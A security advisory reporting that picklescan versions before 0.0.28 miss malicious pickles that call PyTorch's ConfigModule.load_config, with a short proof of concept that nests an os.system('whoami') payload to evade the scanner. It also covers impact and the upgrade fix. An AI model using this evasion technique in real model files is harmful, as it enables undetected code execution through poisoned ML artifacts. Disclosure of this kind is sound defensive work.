Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config

Overview

Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the reduce method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.

PoC

import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Affected packages

• picklescan < 0.0.28

Remediation

Upgrade to a patched release:

• picklescan 0.0.28